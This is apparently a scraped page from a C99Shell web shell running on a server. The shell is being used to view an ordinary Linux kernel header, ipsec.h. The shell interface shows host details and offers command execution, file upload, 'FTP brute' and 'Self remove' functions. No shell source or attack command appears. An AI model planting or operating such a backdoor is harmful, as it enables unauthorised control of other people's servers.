!C99Shell v. 1.0 pre-release build #13!

Software: Apache/2.0.54 (Unix) mod_perl/1.99_09 Perl/v5.8.0 mod_ssl/2.0.54 OpenSSL/0.9.7l DAV/2 FrontPage/5.0.2.2635 PHP/4.4.0 mod_gzip/2.0.26.1a 

uname -a: Linux snow.he.net 4.4.276-v2-mono-1 #1 SMP Wed Jul 21 11:21:17 PDT 2021 i686 

uid=99(nobody) gid=98(nobody) groups=98(nobody) 

Safe-mode: OFF (not secure)

/usr/include/linux/   drwxr-xr-x
Free 318.37 GB of 458.09 GB (69.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ipsec.h (1.9 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
 *    Definitions for the SECurity layer
 *
 *    Author:
 *        Robert Muchsel <muchsel@acm.org>
 *
 *    This program is free software; you can redistribute it and/or
 *    modify it under the terms of the GNU General Public License
 *    as published by the Free Software Foundation; either version
 *    2 of the License, or (at your option) any later version.
 */
 
#ifndef _LINUX_IPSEC_H
#define _LINUX_IPSEC_H

#include <linux/config.h>
#include <linux/socket.h>
#include <net/sock.h>
#include <linux/skbuff.h>

/* Values for the set/getsockopt calls */

/* These defines are compatible with NRL IPv6, however their semantics
   is different */

#define IPSEC_LEVEL_NONE    -1    /* send plaintext, accept any */
#define IPSEC_LEVEL_DEFAULT    0    /* encrypt/authenticate if possible */
                    /* the default MUST be 0, because a */
                    /* socket is initialized with 0's */
#define IPSEC_LEVEL_USE        1    /* use outbound, don't require inbound */
#define IPSEC_LEVEL_REQUIRE    2    /* require both directions */
#define IPSEC_LEVEL_UNIQUE    2    /* for compatibility only */

#ifdef __KERNEL__

/* skb bit flags set on packet input processing */

#define RCV_SEC            0x0f    /* options on receive */
#define RCV_AUTH        0x01    /* was authenticated */
#define RCV_CRYPT        0x02    /* was encrypted */
#define RCV_TUNNEL        0x04    /* was tunneled */
#define SND_SEC            0xf0    /* options on send, these are */
#define SND_AUTH        0x10    /* currently unused */
#define SND_CRYPT        0x20
#define SND_TUNNEL        0x40

/*
 *    FIXME: ignores network encryption for now..
 */
 
#ifdef CONFIG_NET_SECURITY
static __inline__ int ipsec_sk_policy(struct sock *sk, struct sk_buff *skb)
{
    return ((sk->authentication < IPSEC_LEVEL_REQUIRE) ||
        (skb->security & RCV_AUTH)) &&
        ((sk->encryption < IPSEC_LEVEL_REQUIRE) ||
        (skb->security & RCV_CRYPT));
}

#else

static __inline__ int ipsec_sk_policy(struct sock *sk, struct sk_buff *skb)
{
    return 1;
}
#endif /* CONFIG */

#endif    /* __KERNEL__ */
#endif    /* _LINUX_IPSEC_H */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0044 ]--